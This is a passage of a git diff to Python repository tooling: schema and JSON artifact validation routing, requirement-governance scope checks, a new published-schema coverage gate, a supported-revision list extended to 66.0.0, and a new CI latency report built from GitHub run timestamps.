_frozen_historical_records(repo_root) + targets: list[ValidationTarget] = [] + for route in _VERSIONED_SCHEMA_ROUTES: + if paths is None: + root = repo_root / route.prefix + candidates = sorted(root.rglob(JSON_GLOB) if route.recursive else root.glob(JSON_GLOB)) + else: + candidates = [ + repo_root / raw_path + for raw_path in paths + if raw_path.startswith(route.prefix) and raw_path.endswith(JSON_SUFFIX) + ] + for candidate in candidates: + relative = _routable(repo_root, candidate) + if relative is None or relative in frozen: + continue + targets.append( + ValidationTarget( + relative, + _repo_rel_from(repo_root, _versioned_schema(repo_root, candidate, route.family)), + "schema", + ) + ) + return targets def _fixture_schema(repo_root: Path, path: Path) -> Path: @@ -119,154 +213,114 @@ def collect_validation_targets( if should_run_full_validation(paths): return _collect_full_targets(repo_root) - targets: list[ValidationTarget] = [] + targets = _authoring_adapter_targets(repo_root, paths=paths) + targets.extend(_versioned_schema_targets(repo_root, paths=paths)) + already_routed = {target.path for target in targets} for raw_path in paths: - path = repo_root / raw_path - if not path.exists(): - continue - if raw_path.startswith("contracts/schemas/") and raw_path.endswith(".json"): - targets.append(ValidationTarget(raw_path, None, "metaschema")) - continue - if raw_path.startswith("contracts/concept-authority/") and raw_path.endswith(".json"): - targets.append( - ValidationTarget( - raw_path, - f"contracts/schemas/concept-authority/{path.name}", - "schema", - ) - ) + if raw_path in already_routed or _routable(repo_root, repo_root / raw_path) is None: continue - if raw_path.startswith("contracts/profiles/semantic/") and raw_path.endswith(".json"): - targets.append( - ValidationTarget( - raw_path, - _repo_rel_from(repo_root, _semantic_profile_schema(repo_root, path)), - "schema", - ) - ) - continue - if raw_path.startswith("contracts/profiles/backend/") and raw_path.endswith(".json"): - targets.append( - ValidationTarget( - raw_path, - _repo_rel_from(repo_root, _backend_profile_schema(repo_root, path)), - "schema", - ) - ) - continue - if raw_path.startswith("contracts/profiles/random-stream/") and raw_path.endswith(".json"): - targets.append( - ValidationTarget( - raw_path, - _repo_rel_from(repo_root, _random_stream_profile_schema(repo_root, path)), - "schema", - ) - ) - continue - if raw_path.startswith("contracts/profiles/participant-information-reconstruction/") and raw_path.endswith( - ".json" - ): - targets.append( - ValidationTarget( - raw_path, - _repo_rel_from( - repo_root, - _participant_information_reconstruction_profile_schema(repo_root, path), - ), - "schema", - ) - ) - continue - if raw_path.startswith("contracts/fixtures/random-stream-vectors/") and raw_path.endswith(".json"): - targets.append( - ValidationTarget( - raw_path, - _repo_rel_from(repo_root, _random_stream_vector_schema(repo_root, path)), - "schema", - ) - ) - continue - if "/valid/" in raw_path and raw_path.startswith("contracts/fixtures/") and raw_path.endswith(".json"): - targets.append( - ValidationTarget( - raw_path, - _repo_rel_from(repo_root, _fixture_schema(repo_root, path)), - "schema", - ) - ) + target = _changed_path_target(repo_root, raw_path) + if target is not None: + targets.append(target) return _dedupe_targets(targets) +def _changed_path_target(repo_root: Path, raw_path: str) -> ValidationTarget | None: + """Route one changed path, or None when nothing validates it.""" + + if not raw_path.endswith(JSON_SUFFIX): + return None + target: ValidationTarget | None = None + if raw_path.startswith("contracts/schemas/"): + target = ValidationTarget(raw_path, None, "metaschema") + elif raw_path.startswith("contracts/concept-authority/"): + schema_path = f"contracts/schemas/concept-authority/{Path(raw_path).name}" + target = ValidationTarget(raw_path, schema_path, "schema") + elif raw_path.startswith("contracts/fixtures/") and any( + segment in raw_path for segment in ("/valid/", "/migration/", "/context-invalid/") + ): + schema = _fixture_schema(repo_root, repo_root / raw_path) + target = ValidationTarget(raw_path, _repo_rel_from(repo_root, schema), "schema") + return target + + +def covered_schema_paths(repo_root: Path = REPO_ROOT) -> set[str]: + """Published schema paths that at least one routed, checked-in artifact exercises. + + Corpus routing is owned here, so the published-schema coverage gate + (``tools/check_schema_coverage.py``) joins on this set instead of copying the + route tables. A route added above is inherited without editing that gate. The + set is non-empty by construction: an empty ``valid/`` directory, an + ``invalid/``-only family, and a bare directory contribute nothing. + """ + + return { + target.schema_path + for target in collect_validation_targets(repo_root) + if target.mode == "schema" and target.schema_path is not None + } + + def should_run_full_validation(paths: list[str]) -> bool: return any(path.startswith(SCHEMA_DRIVER_PATHS) or path == "tools/check_json_artifacts.py" for path in paths) def _collect_full_targets(repo_root: Path) -> list[ValidationTarget]: - targets: list[ValidationTarget] = [] - for schema in sorted((repo_root / "contracts" / "schemas").rglob("*.json")): - targets.append(ValidationTarget(_repo_rel_from(repo_root, schema), None, "metaschema")) - for artifact in sorted((repo_root / "contracts" / "concept-authority").glob("*.json")): - targets.append( - ValidationTarget( - _repo_rel_from(repo_root, artifact), - f"contracts/schemas/concept-authority/{artifact.name}", - "schema", - ) - ) - for profile in sorted((repo_root / "contracts" / "profiles" / "semantic").glob("*.json")): - targets.append( - ValidationTarget( - _repo_rel_from(repo_root, profile), - _repo_rel_from(repo_root, _semantic_profile_schema(repo_root, profile)), - "schema", - ) - ) - for profile in sorted((repo_root / "contracts" / "profiles" / "backend").glob("*.json")): - targets.append( - ValidationTarget( - _repo_rel_from(repo_root, profile), - _repo_rel_from(repo_root, _backend_profile_schema(repo_root, profile)), - "schema", - ) - ) - for profile in sorted((repo_root / "contracts" / "profiles" / "random-stream").glob("*.json")): - targets.append( - ValidationTarget( - _repo_rel_from(repo_root, profile), - _repo_rel_from(repo_root, _random_stream_profile_schema(repo_root, profile)), - "schema", + targets = _authoring_adapter_targets(repo_root) + targets.extend(_versioned_schema_targets(repo_root)) + for schema in sorted((repo_root / "contracts" / "schemas").rglob(JSON_GLOB)): + relative = _routable(repo_root, schema) + if relative is not None: + targets.append(ValidationTarget(relative, None, "metaschema")) + for artifact in sorted((repo_root / "contracts" / "concept-authority").glob(JSON_GLOB)): + relative = _routable(repo_root, artifact) + if relative is not None: + targets.append( + ValidationTarget( + relative, + f"contracts/schemas/concept-authority/{artifact.name}", + "schema", + ) ) - ) - for profile in sorted( - (repo_root / "contracts" / "profiles" / "participant-information-reconstruction").glob("*.json") + fixtures_root = repo_root / "contracts" / "fixtures" + for pattern in ( + f"valid/{JSON_GLOB}", + f"migration/{JSON_GLOB}", + f"context-invalid/{JSON_GLOB}", ): - targets.append( - ValidationTarget( - _repo_rel_from(repo_root, profile), - _repo_rel_from( - repo_root, - _participant_information_reconstruction_profile_schema(repo_root, profile), - ), - "schema", - ) - ) - for vector in sorted((repo_root / "contracts" / "fixtures" / "random-stream-vectors").rglob("*.json")): - targets.append( - ValidationTarget( - _repo_rel_from(repo_root, vector), - _repo_rel_from(repo_root, _random_stream_vector_schema(repo_root, vector)), - "schema", - ) + for fixture in sorted(fixtures_root.rglob(pattern)): + relative = _routable(repo_root, fixture) + if relative is not None: + targets.append( + ValidationTarget( + relative, + _repo_rel_from(repo_root, _fixture_schema(repo_root, fixture)), + "schema", + ) + ) + return _dedupe_targets(targets) + + +def _authoring_adapter_targets(repo_root: Path, *, paths: list[str] | None = None) -> list[ValidationTarget]: + targets = [] + for prefix, contract in _AUTHORING_ADAPTER_ROUTES.items(): + candidates = ( + (repo_root / prefix).glob(JSON_GLOB) + if paths is None + else (repo_root / path for path in paths if path.startswith(prefix) and path.endswith(JSON_SUFFIX)) ) - for fixture in sorted((repo_root / "contracts" / "fixtures").rglob("valid/*.json")): - targets.append( - ValidationTarget( - _repo_rel_from(repo_root, fixture), - _repo_rel_from(repo_root, _fixture_schema(repo_root, fixture)), - "schema", + for path in candidates: + relative = _routable(repo_root, path) + if relative is None: + continue + targets.append( + ValidationTarget( + relative, + f"contracts/schemas/authoring-adapters/{contract}.json", + "schema", + ) ) - ) - return _dedupe_targets(targets) + return targets def _dedupe_targets(targets: list[ValidationTarget]) -> list[ValidationTarget]: diff --git a/tools/check_requirement_governance.py b/tools/check_requirement_governance.py index f777d0729..b427c9a10 100644 --- a/tools/check_requirement_governance.py +++ b/tools/check_requirement_governance.py @@ -27,7 +27,6 @@ GroundControlHttpClient, evaluate_requirement_governance, load_policy, - requirement_uid_from_context, resolve_base_url, resolve_timeout_seconds, resolve_token, @@ -36,6 +35,8 @@ RepositoryRequirementClient, RepositoryRequirementError, ) +from tools.policy.requirement_scope import RequirementScope, RequirementScopeError, evaluate_requirement_scope +from tools.requirement_context import current_requirement_branch, resolve_requirement_context GOVERNED_ROOTS = ("implementations/", "contracts/", "specs/", "docs/") REQUIREMENT_CONTEXT_EXEMPT_PATHS = { @@ -118,17 +119,7 @@ def current_branch(repo_root: Path) -> str | None: # In CI PR checkouts the repo is in detached HEAD, so # git branch --show-current returns empty. Fall back to # GITHUB_HEAD_REF (set by GitHub Actions for pull_request events). - branch = os.environ.get("GITHUB_HEAD_REF", "").strip() - if not branch: - proc = subprocess.run( - ["git", "branch", "--show-current"], - cwd=repo_root, - text=True, - capture_output=True, - check=True, - ) - branch = proc.stdout.strip() - return branch or None + return current_requirement_branch(repo_root) or None def requires_requirement_context(paths: list[str]) -> bool: @@ -201,7 +192,12 @@ def emit_failures(failures: list[PolicyFailure], *, as_json: bool) -> int: def evaluate_against_ground_control( - effective_paths: list[str], uid: str, *, require_governance: bool, as_json: bool + effective_paths: list[str], + uid: str, + *, + require_governance: bool, + as_json: bool, + scope: RequirementScope | None = None, ) -> int: """Evaluate requirement governance for a resolved UID against Ground Control.""" base_url = resolve_base_url(REPO_ROOT) @@ -221,7 +217,11 @@ def evaluate_against_ground_control( timeout_seconds=resolve_timeout_seconds(), ) try: - failures = evaluate_requirement_governance(REPO_ROOT, effective_paths, client=client, requirement_uid=uid) + if scope is not None: + failures = evaluate_requirement_scope(REPO_ROOT, effective_paths, client=client, scope=scope) + else: + failures = evaluate_requirement_governance(REPO_ROOT, effective_paths, client=client, requirement_uid=uid) + failures = apply_exceptions(failures, load_exceptions(REPO_ROOT), requirement_uid=uid) except GroundControlError as exc: rule_id, message = classify_ground_control_error(exc) return report_unevaluated( @@ -230,19 +230,27 @@ def evaluate_against_ground_control( require_governance=require_governance, as_json=as_json, ) - failures = apply_exceptions(failures, load_exceptions(REPO_ROOT), requirement_uid=uid) return emit_failures(failures, as_json=as_json) def evaluate_configured_governance( - effective_paths: list[str], uid: str, *, require_governance: bool, as_json: bool + effective_paths: list[str], + uid: str, + *, + require_governance: bool, + as_json: bool, + scope: RequirementScope | None = None, ) -> int: """Use the explicitly selected authority; unavailable local data never falls back.""" source = load_policy(REPO_ROOT).get("requirement_source", "ground-control-http") if source == "ground-control-http": return evaluate_against_ground_control( - effective_paths, uid, require_governance=require_governance, as_json=as_json + effective_paths, + uid, + require_governance=require_governance or scope is not None, + as_json=as_json, + scope=scope, ) if source != "repository": return report_unevaluated( @@ -251,13 +259,29 @@ def evaluate_configured_governance( require_governance=True, as_json=as_json, ) - return _evaluate_repository_governance(effective_paths, uid, as_json=as_json) + return _evaluate_repository_governance(effective_paths, uid, as_json=as_json, scope=scope) -def _evaluate_repository_governance(effective_paths: list[str], uid: str, *, as_json: bool) -> int: +def _evaluate_repository_governance( + effective_paths: list[str], + uid: str, + *, + as_json: bool, + scope: RequirementScope | None = None, +) -> int: """Evaluate governance from the pinned repository records, never over HTTP.""" try: + if scope is not None: + return emit_failures( + evaluate_requirement_scope( + REPO_ROOT, + effective_paths, + client=RepositoryRequirementClient(REPO_ROOT), + scope=scope, + ), + as_json=as_json, + ) failures = evaluate_requirement_governance( REPO_ROOT, effective_paths, @@ -305,8 +329,23 @@ def main() -> int: if args.paths else requirement_changed_paths(staged=args.staged, base_rev=args.base_rev) ) + try: + uid, scope = resolve_requirement_context(REPO_ROOT, current_branch(REPO_ROOT), args.requirement_uid) + except RequirementScopeError as exc: + return emit_failures([PolicyFailure("requirement-scope-invalid", str(exc))], as_json=args.json) + if scope is not None: + return evaluate_configured_governance( + paths, + scope.primary_requirement_uid, + require_governance=True, + as_json=args.json, + scope=scope, + ) + return _evaluate_legacy_context(args, paths, uid) + + +def _evaluate_legacy_context(args: argparse.Namespace, paths: list[str], uid: str | None) -> int: effective_paths = governed_requirement_paths(paths) - uid = requirement_uid_from_context(current_branch(REPO_ROOT), args.requirement_uid) if not requires_requirement_context(effective_paths) or is_dev_to_main_promotion(): return 0 if not uid: diff --git a/tools/check_schema_coverage.py b/tools/check_schema_coverage.py new file mode 100644 index 000000000..fef47f88a --- /dev/null +++ b/tools/check_schema_coverage.py @@ -0,0 +1,155 @@ +#!/usr/bin/env python3 +# ruff: noqa: E402, I001 +"""Structural gate: every published schema carries concrete coverage evidence. + +A contract can be published, hashed, ledgered and metaschema-valid while nothing +in the repository ever exercises it. ``check_schema_publication.py`` proves the +inventory, hashes, stability and evolution of the published set; it does not ask +whether anything supports a contract's claims. This gate asks exactly that, by +schema path, over the whole published inventory. + +A published schema is **covered** when at least one of these holds: + +1. **Corpus coverage.** At least one checked-in artifact that the canonical + corpus router (``check_json_artifacts.covered_schema_paths``) routes to that + exact schema path. The set is non-empty by construction, so an empty + ``valid/`` directory, an ``invalid/``-only family and a bare directory are + not coverage. Alternate routes are inherited from the router, never copied. +2. **Formal coverage.** The schema path is a ``delivered_artifacts`` entry of a + classified subsystem in ``specs/formal/assurance-fulfillment.yaml``. A + ``waived_artifacts`` entry never counts: a dated, tracked waiver is an + unresolved obligation, not delivered evidence. +3. **Declared alternate coverage.** The contract's publication record carries a + validated ``coverage`` association naming the concrete evidence that + exercises it where neither canonical route reaches. + +**A formal model is never required.** Leg 2 is one alternative among three. This +gate never reads an FM level, never infers FM applicability, and never turns a +missing formal association into "not applicable" — FM applicability belongs to +``assurance-policy.yaml`` / ``assurance-fulfillment.yaml`` under +``check_assurance_policy.py``. A structural contract passes on leg 1 alone. + +Every accepted leg is computed, never trusted: a declared source is resolved and +run through the published schema on each invocation, so evidence the gate cannot +falsify is not accepted at all. The closed key sets, evidence checks, and +declaration validator live in ``tools/schema_coverage``; this entry point wires +them together and owns the CLI. + +``--report`` prints a read-only inventory naming the covering leg per schema and +never gates. Failures use ``tools.policy.common.PolicyFailure`` and the CLI +honours ``--json`` and the shared ``tools/policy/exceptions.yaml`` waiver +mechanism, like the other ``policy`` nox-stage entry points. +""" + +from __future__ import annotations + +import argparse +import sys +from pathlib import Path + +REPO_ROOT = Path(__file__).resolve().parents[1] +if str(REPO_ROOT) not in sys.path: + sys.path.insert(0, str(REPO_ROOT)) + +from tools.policy.common import PolicyFailure, apply_exceptions, failures_to_json, load_exceptions +from tools.schema_coverage._classify import classify +from tools.schema_coverage._keys import ( + CATALOG_RULE_ID, + CORPUS, + COVERAGE_KEY, + DECLARATION_RULE_ID, + DECLARED, + FORMAL, + MAX_SOURCES, + MISSING_RULE_ID, + UNCOVERED, +) + +__all__ = [ + "CATALOG_RULE_ID", + "COVERAGE_KEY", + "DECLARATION_RULE_ID", + "MAX_SOURCES", + "MISSING_RULE_ID", + "build_coverage_report", + "evaluate_schema_coverage", + "main", +] + +_REPORT_LEGS = (CORPUS, FORMAL, DECLARED, UNCOVERED) + + +def evaluate_schema_coverage(repo_root: Path = REPO_ROOT) -> list[PolicyFailure]: + """Return every published schema that carries no concrete coverage evidence.""" + + rows, failures = classify(repo_root) + failures.extend( + PolicyFailure( + MISSING_RULE_ID, + f"published schema {contract_id} has no fixture, formal, or declared coverage evidence", + schema_path, + ) + for contract_id, schema_path, leg in rows + if leg == UNCOVERED + ) + return sorted(failures, key=lambda item: (item.path or "", item.rule_id, item.message)) + + +def build_coverage_report(repo_root: Path = REPO_ROOT) -> str: + """Render a read-only inventory naming the covering leg per schema. Never gates.""" + + rows, failures = classify(repo_root) + lines = ["Published-schema coverage report (ASR-501)", ""] + for leg in _REPORT_LEGS: + group = [row for row in rows if row[2] == leg] + lines.append(f"## {leg} ({len(group)})") + lines.extend(f" - {contract_id}: {schema_path}" for contract_id, schema_path, _ in group) + lines.append("") + if failures: + lines.append(f"## malformed associations ({len(failures)})") + lines.extend(f" - {failure.render()}" for failure in failures) + lines.append("") + return "\n".join(lines).rstrip() + "\n" + + +def _waivers(repo_root: Path) -> list[dict[str, object]]: + if not (repo_root / "tools" / "policy" / "exceptions.yaml").is_file(): + return [] + return load_exceptions(repo_root) + + +def parse_args(argv: list[str] | None) -> argparse.Namespace: + parser = argparse.ArgumentParser(description="Validate published-schema coverage evidence (ASR-501).") + parser.add_argument( + "--repo-root", + type=Path, + default=REPO_ROOT, + help="Repository root (defaults to the repo containing this file).", + ) + parser.add_argument("--json", action="store_true", help="Emit JSON failures.") + parser.add_argument( + "--report", + action="store_true", + help="Print a read-only coverage inventory (covering leg per schema) and exit 0.", + ) + return parser.parse_args(argv) + + +def main(argv: list[str] | None = None) -> int: + args = parse_args(argv) + if args.report: + print(build_coverage_report(args.repo_root)) + return 0 + failures = apply_exceptions(evaluate_schema_coverage(args.repo_root), _waivers(args.repo_root)) + if not failures: + return 0 + if args.json: + print(failures_to_json(failures)) + else: + for failure in failures: + print(failure.render(), file=sys.stderr) + return 1 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/tools/check_specification_coverage.py b/tools/check_specification_coverage.py index eaa9d79cd..99a5e51cd 100644 --- a/tools/check_specification_coverage.py +++ b/tools/check_specification_coverage.py @@ -102,7 +102,7 @@ def _load_bundle_index(repo_root: Path) -> list[tuple[str, dict[str, object]]]: max_bytes=_MAX_FILE_BYTES, ) current_path = current_release_path(records) - if dict(records)[current_path].get("revision") != "15.0.0" or {record.get("revision") for _, record in records} != { + supported_revisions = { "1.0.0", "1.1.0", "2.0.0", @@ -119,8 +119,64 @@ def _load_bundle_index(repo_root: Path) -> list[tuple[str, dict[str, object]]]: "13.0.0", "14.0.0", "15.0.0", - }: - raise ValueError("coverage evidence requires the explicit current 15.0.0 release and supported history") + "16.0.0", + "17.0.0", + "18.0.0", + "19.0.0", + "20.0.0", + "21.0.0", + "22.0.0", + "23.0.0", + "24.0.0", + "25.0.0", + "26.0.0", + "27.0.0", + "28.0.0", + "29.0.0", + "30.0.0", + "31.0.0", + "32.0.0", + "33.0.0", + "34.0.0", + "35.0.0", + "36.0.0", + "37.0.0", + "38.0.0", + "39.0.0", + "40.0.0", + "41.0.0", + "42.0.0", + "43.0.0", + "44.0.0", + "45.0.0", + "46.0.0", + "47.0.0", + "48.0.0", + "49.0.0", + "50.0.0", + "51.0.0", + "52.0.0", + "53.0.0", + } | { + "54.0.0", + "55.0.0", + "56.0.0", + "57.0.0", + "58.0.0", + "59.0.0", + "60.0.0", + "61.0.0", + "62.0.0", + "63.0.0", + "64.0.0", + "65.0.0", + "66.0.0", + } + if ( + dict(records)[current_path].get("revision") != "66.0.0" + or {record.get("revision") for _, record in records} != supported_revisions + ): + raise ValueError("coverage evidence requires the explicit current 66.0.0 release and supported history") return records diff --git a/tools/check_tooling_artifact_policy.py b/tools/check_tooling_artifact_policy.py index d3ff70536..6e844aca4 100644 --- a/tools/check_tooling_artifact_policy.py +++ b/tools/check_tooling_artifact_policy.py @@ -25,33 +25,29 @@ from tools.tooling_artifact_policy_actions import action_failures from tools.tooling_artifact_policy_artifacts import artifact_failures from tools.tooling_artifact_policy_common import ( - ACTIONS_POLICY_PATH, ARTIFACT_LOCK_PATH, - INVENTORY_COVERAGE_PATH, MAX_JSON_BYTES, POLICY_SCHEMAS, PROFILES_PATH, SELECTOR_BINDINGS_PATH, as_list, failure, - is_regular_repo_file, load_documents, normalize_platform_id, + read_tooling_document, string_set, + validate_tooling_record, ) from tools.tooling_artifact_policy_container import container_failures -from tools.tooling_artifact_policy_discovery import tracked_python_scans -from tools.tooling_artifact_policy_inventory import inventory_failures from tools.tooling_artifact_policy_python import ( PYTHON_AUTHORITY_PATHS, python_closure_failures, ) from tools.tooling_artifact_policy_selectors import selector_failures +from tools.tooling_artifact_selection import selected_artifact_documents __all__ = [ - "ACTIONS_POLICY_PATH", "ARTIFACT_LOCK_PATH", - "INVENTORY_COVERAGE_PATH", "PROFILES_PATH", "SELECTOR_BINDINGS_PATH", "evaluate_tooling_artifact_policy", @@ -101,35 +97,11 @@ def evaluate_tooling_artifact_policy( documents, failures = load_documents(repo_root) paths, path_failures = _resolved_paths(repo_root, tracked_paths) failures.extend(path_failures) - if tracked_paths is None: - coverage = documents.get(INVENTORY_COVERAGE_PATH, {}) - declared_candidates = { - str(item["path"]) - for item in as_list(coverage.get("acquisition_paths")) - if isinstance(item, Mapping) - and isinstance(item.get("path"), str) - and is_regular_repo_file(repo_root, item["path"]) - } - paths = sorted(set(paths) | declared_candidates) - python_scans = tracked_python_scans(repo_root, paths) failures.extend(artifact_failures(repo_root, documents)) failures.extend(action_failures(repo_root, documents, paths)) - failures.extend(selector_failures(repo_root, documents, paths, python_scans)) - failures.extend(inventory_failures(repo_root, documents, paths, python_scans)) + failures.extend(selector_failures(repo_root, documents, paths)) failures.extend(python_closure_failures(repo_root, documents, paths)) failures.extend(container_failures(repo_root, documents, paths)) - if all(path in documents for path in POLICY_SCHEMAS): - expected_policy_sha256 = tooling_policy_sha256(repo_root) - profiles = documents[PROFILES_PATH] - failures.extend( - failure( - "tooling-host-evidence-policy", - "qualification evidence is not bound to the complete current tooling policy", - PROFILES_PATH, - ) - for record in as_list(profiles.get("qualification_records")) - if not isinstance(record, Mapping) or record.get("policy_sha256") != expected_policy_sha256 - ) return sorted(set(failures), key=lambda item: (item.path or "", item.rule_id, item.message)) @@ -140,8 +112,6 @@ def tooling_policy_sha256(repo_root: Path) -> str: authority_paths = sorted({*POLICY_SCHEMAS, *POLICY_SCHEMAS.values()}) for relative_path in authority_paths: value = load_bounded_json_object(repo_root, relative_path, max_bytes=MAX_JSON_BYTES) - if relative_path == PROFILES_PATH: - value = {key: child for key, child in value.items() if key != "qualification_records"} encoded = json.dumps(value, sort_keys=True, separators=(",", ":")).encode() path_bytes = relative_path.encode() digest.update(len(path_bytes).to_bytes(8, "big")) @@ -197,11 +167,8 @@ def select_tooling_artifact( ) -> dict[str, Any]: """Return one fully validated artifact/platform selection from the lock.""" - failures = evaluate_tooling_artifact_policy(repo_root) - if failures: - rendered = "\n".join(item.render() for item in failures) - raise ValueError(f"development artifact policy is invalid:\n{rendered}") - lock = load_bounded_json_object(repo_root, ARTIFACT_LOCK_PATH, max_bytes=MAX_JSON_BYTES) + documents = selected_artifact_documents(repo_root, {artifact_id}, platform_id) + lock = documents[ARTIFACT_LOCK_PATH] matches = _selection_matches( lock, artifact_id=artifact_id, @@ -229,12 +196,7 @@ def select_tooling_host_profile( # NOSONAR -- selection checks mirror the close ) -> dict[str, Any]: """Return one fully validated host profile and its exact bootstrap selections.""" - failures = evaluate_tooling_artifact_policy(repo_root) - if failures: - rendered = "\n".join(item.render() for item in failures) - raise ValueError(f"development artifact policy is invalid:\n{rendered}") - profiles = load_bounded_json_object(repo_root, PROFILES_PATH, max_bytes=MAX_JSON_BYTES) - lock = load_bounded_json_object(repo_root, ARTIFACT_LOCK_PATH, max_bytes=MAX_JSON_BYTES) + profiles = read_tooling_document(repo_root, PROFILES_PATH) hosts = [ item for item in as_list(profiles.get("host_profiles")) @@ -243,6 +205,15 @@ def select_tooling_host_profile( # NOSONAR -- selection checks mirror the close if len(hosts) != 1: raise ValueError("requested host profile must resolve to exactly one reviewed entry") host = hosts[0] + validate_tooling_record(repo_root, host, PROFILES_PATH, definition="hostProfile") + documents = selected_artifact_documents( + repo_root, + string_set(host.get("bootstrap_payload_ids")), + str(host["platform_id"]), + host_profile_id=host_profile_id, + profiles=profiles, + ) + lock = documents[ARTIFACT_LOCK_PATH] artifacts: list[dict[str, Any]] = [] for artifact_id in sorted(string_set(host.get("bootstrap_payload_ids"))): artifact_matches = [ @@ -279,7 +250,9 @@ def select_tooling_host_profile( # NOSONAR -- selection checks mirror the close return { "host_profile": host, "artifacts": artifacts, - "policy_sha256": tooling_policy_sha256(repo_root), + "policy_sha256": hashlib.sha256( + json.dumps({"host": host, "inputs": documents}, sort_keys=True).encode() + ).hexdigest(), } diff --git a/tools/ci_latency_report.py b/tools/ci_latency_report.py new file mode 100644 index 000000000..3f2c051a4 --- /dev/null +++ b/tools/ci_latency_report.py @@ -0,0 +1,213 @@ +#!/usr/bin/env python3 +"""Measure PR CI feedback latency from native GitHub run/job timestamps (#935). + +Reads a cohort of workflow runs as JSON on **stdin** — each entry shaped +``{"run": , "jobs": [, ...]}`` using GitHub's native run/jobs objects — +and reports median and p95 for the two issue #935 acceptance metrics without +adding any telemetry service, database, or credential-bearing log scraper (per +the measurement contract in +``docs/decisions/issue-935-ci-shard-fast-feedback-preflight.md``): + +- time to first actionable failure: from a run's ``run_started_at`` to the + earliest terminal failing required or fast-feedback job; +- final required-check completion: the latest terminal timestamp among the + required checks for that run. + +Produce the cohort with the GitHub CLI, then pipe it in, for example: + + gh api 'repos/OpenRAE/rae/actions/workflows/ci.yml/runs?branch=dev&event=pull_request&per_page=20' \ + --jq '[.workflow_runs[] | {run: ., jobs: []}]' \ + | python tools/ci_latency_report.py + +(populate each entry's ``jobs`` from ``.../actions/runs//jobs``). Reading the +cohort from stdin means the tool invokes no subprocess and opens no caller-named +path, so it adds no command-execution or path-traversal surface. Queue time is +reported separately from execution time and successful runs are never imputed as +failures. The metric functions are pure and unit-tested. +""" + +from __future__ import annotations + +import argparse +import json +import sys +from collections.abc import Iterable, Mapping, Sequence +from dataclasses import dataclass +from datetime import datetime +from typing import TextIO + +DEFAULT_REQUIRED_CHECKS = ("verify", "sonar") +FAST_FEEDBACK_CHECK = "fast-feedback" + + +def _parse_timestamp(value: object) -> datetime | None: + if not isinstance(value, str) or not value: + return None + try: + return datetime.fromisoformat(value.replace("Z", "+00:00")) + except ValueError: + return None + + +def _seconds(start: datetime | None, end: datetime | None) -> float | None: + if start is None or end is None: + return None + delta = (end - start).total_seconds() + return delta if delta >= 0 else None + + +@dataclass(frozen=True) +class RunTiming: + """Latency metrics derived from one workflow run and its jobs.""" + + run_id: int + head_sha: str + conclusion: str + queue_s: float | None + execution_s: float | None + time_to_first_failure_s: float | None + final_required_completion_s: float | None + + +def _job_elapsed(job: Mapping[str, object], started: datetime | None) -> tuple[str, str, float] | None: + """Return (name, conclusion, elapsed-since-start) for a timed job, else None.""" + + completed = _parse_timestamp(job.get("completed_at")) + elapsed = _seconds(started, completed) + if elapsed is None: + return None + return str(job.get("name", "")), str(job.get("conclusion", "")), elapsed + + +def _optional_min(values: Sequence[float]) -> float | None: + return min(values) if values else None + + +def _optional_max(values: Sequence[float]) -> float | None: + return max(values) if values else None + + +def _coerce_run_id(value: object) -> int: + return value if isinstance(value, int) and not isinstance(value, bool) else 0 + + +@dataclass(frozen=True) +class _JobTimings: + completions: list[float] + failures: list[float] + required_completions: list[float] + + +def _aggregate_jobs( + jobs: Sequence[Mapping[str, object]], + started: datetime | None, + required: set[str], + failure_scope: set[str], +) -> _JobTimings: + timings = _JobTimings([], [], []) + for job in jobs: + elapsed_job = _job_elapsed(job, started) + if elapsed_job is None: + continue + name, conclusion, elapsed = elapsed_job + timings.completions.append(elapsed) + if conclusion == "failure" and name in failure_scope: + timings.failures.append(elapsed) + if name in required and conclusion in {"success", "failure"}: + timings.required_completions.append(elapsed) + return timings + + +def parse_run( + run: Mapping[str, object], + jobs: Sequence[Mapping[str, object]], + required_checks: Iterable[str], +) -> RunTiming: + """Derive the latency metrics for a single run from its native timestamps.""" + + required = set(required_checks) + created = _parse_timestamp(run.get("created_at")) + started = _parse_timestamp(run.get("run_started_at")) or created + jobs_timing = _aggregate_jobs(jobs, started, required, required | {FAST_FEEDBACK_CHECK}) + + return RunTiming( + run_id=_coerce_run_id(run.get("id", 0)), + head_sha=str(run.get("head_sha", "")), + conclusion=str(run.get("conclusion", "")), + queue_s=_seconds(created, started), + execution_s=_optional_max(jobs_timing.completions), + time_to_first_failure_s=_optional_min(jobs_timing.failures), + final_required_completion_s=_optional_max(jobs_timing.required_completions), + ) + + +def percentile(values: Sequence[float], fraction: float) -> float | None: + """Return the linear-interpolated percentile of ``values`` (empty -> None).""" + + ordered = sorted(values) + if not ordered: + return None + if len(ordered) == 1: + return ordered[0] + rank = fraction * (len(ordered) - 1) + low = int(rank) + high = min(low + 1, len(ordered) - 1) + return ordered[low] + (ordered[high] - ordered[low]) * (rank - low) + + +def _summary(values: list[float]) -> dict[str, object]: + return { + "count": len(values), + "median": percentile(values, 0.5), + "p95": percentile(values, 0.95), + } + + +def summarize(timings: Sequence[RunTiming]) -> dict[str, object]: + """Summarise a cohort: median/p95 of each metric, queue and execution split.""" + + def collect(attribute: str) -> list[float]: + return [value for value in (getattr(item, attribute) for item in timings) if value is not None] + + return { + "runs": len(timings), + "queue_seconds": _summary(collect("queue_s")), + "execution_seconds": _summary(collect("execution_s")), + "time_to_first_failure_seconds": _summary(collect("time_to_first_failure_s")), + "final_required_completion_seconds": _summary(collect("final_required_completion_s")), + } + + +def load_cohort(payload: object, required_checks: Iterable[str]) -> list[RunTiming]: + """Parse a ``[{run, jobs}]`` cohort payload into run timings, failing closed.""" + + checks = tuple(required_checks) + if not isinstance(payload, list): + raise ValueError("cohort payload must be a JSON array of {run, jobs} entries") + timings: list[RunTiming] = [] + for entry in payload: + if not isinstance(entry, Mapping) or not isinstance(entry.get("run"), Mapping): + raise ValueError("each cohort entry must be an object with a 'run' object") + jobs = entry.get("jobs") + if jobs is None: + jobs = [] + if not isinstance(jobs, list): + raise ValueError("cohort entry 'jobs' must be a JSON array") + timings.append(parse_run(entry["run"], jobs, checks)) + return timings + + +def main(argv: Sequence[str] | None = None, *, stdin: TextIO | None = None) -> int: + parser = argparse.ArgumentParser(description="Summarise CI feedback latency from a stdin run cohort.") + parser.add_argument("--required-check", action="append", dest="required_checks") + args = parser.parse_args(list(argv) if argv is not None else None) + required_checks = tuple(args.required_checks or DEFAULT_REQUIRED_CHECKS) + + payload = json.load(stdin if stdin is not None else sys.stdin) + timings = load_cohort(payload, required_checks) + print(json.dumps(summarize(timings), indent=2, sort_keys=True)) + return 0 + + +if __name__ == 